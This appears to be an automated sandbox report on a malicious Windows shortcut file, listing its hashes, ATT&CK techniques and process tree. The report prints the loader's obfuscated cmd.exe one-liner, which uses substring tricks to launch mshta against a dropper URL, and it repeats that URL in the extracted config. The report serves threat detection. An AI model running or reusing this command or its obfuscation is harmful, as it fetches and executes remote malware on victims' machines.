fb21cf6af1969320dc258588ec11ce25a57d1ab8ac62ba101ea89dc4b11fb835

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-1RTIYK.lnk
Size 2KB
Sample260804-kbmbcabj2s
SHA256 fb21cf6af1969320dc258588ec11ce25a57d1ab8ac62ba101ea89dc4b11fb835
MD5 5eda1cf9c5bb704f4c76a5c0b516f500
SHA1 6cb72e84e462c503381ccf8730e7a9a47fd689aa
SHA512 9c3e6426e1f42fb69f8b844a9c76bdc9017af9bedc4c520b5895b501ffaecf67c341effc8a3b45922ae2a1c387f98bc1bb13327b4af3fd9c0a258a8ec287cd29
TLSH
T1AB4105A029ED8594F3BE4F36EDFA6B11487BBA454DB0C28D0841824D1422B44D977B66
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3096	cmd.exe
3440	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 3440	3096	cmd.exe	90
PID 3440 wrote to memory of 4836	3440	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1RTIYK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3096
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set chuLW=sysffqvomoqboankshycetsys&&set mDq=xstao0&&set phq=1al2a&&set BJKoB=cs9rtrcn&&set DKEk=57my7&&set akc=8shta05j&&set Ou=netinadfycecmnet&&set DM=bakzzouwkjdtbak&&set Vxg=syseaqystiexgvwutmsys&&set phOc=tmpfhplgbtsdhtmp&&set BB=cachemqhmfdofhvcache&&set yWzX=oldqheriwkvmjxptrold&&set fDIY=infnkyberdinf&&set zWjXm=infuxhdqffktnginvgnjinf&&set IXZaq=infqcswcztmsinf&&set ubTcl=http@s@:@//ma-@pd@ff@i@[email protected]@t/h/e@s@t@ag@[email protected]?r@=391469F@B@5D82@DB&&start /b !DKEk:~2,1!!akc:~1,4! !ubTcl:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads